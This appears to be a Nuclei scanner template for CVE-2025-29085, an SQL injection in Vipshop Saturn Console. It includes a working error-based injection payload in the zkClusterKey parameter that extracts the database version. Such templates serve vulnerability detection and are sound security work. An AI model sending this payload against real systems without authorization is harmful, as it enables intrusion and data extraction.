漏洞描述
SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.
id: CVE-2025-29085
info:
name: Vipshop Saturn Console <= 3.5.1 - SQL Injection via ClusterKey Component
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.
reference:
- https://github.com/advisories/GHSA-49v8-p6mm-3pfj
- https://gist.github.com/Cafe-Tea/bcef0d7a2bdb5ec8e0d69de852fdc900
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-29085
cwe-id: CWE-89
epss-score: 0.03842
epss-percentile: 0.87745
metadata:
verified: true
tags: cve,cve2025,vipshop,sqli,vkev
http:
- raw:
- |
GET /console/dashboard/executorCount?zkClusterKey=1%27-extractvalue(1,concat(0x0a,version()))--%20- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "java.sql.SQLException: XPATH syntax error: '"
extractors:
- type: regex
part: body
internal: true
name: version
group: 1
regex:
- "XPATH syntax error: '\\\\n(.*?)'"
- type: dsl
dsl:
- '"Database Version: " + version'
# digest: 490a0046304402205c2a683c344de51e5292030f03e308d4842e71590fd198fc8c2688726b23b21302206498f8cf6d13e30cd5aca248224bc64881454157662d2207429eadf72f500f01:922c64590222798bb761d5b6d8e72950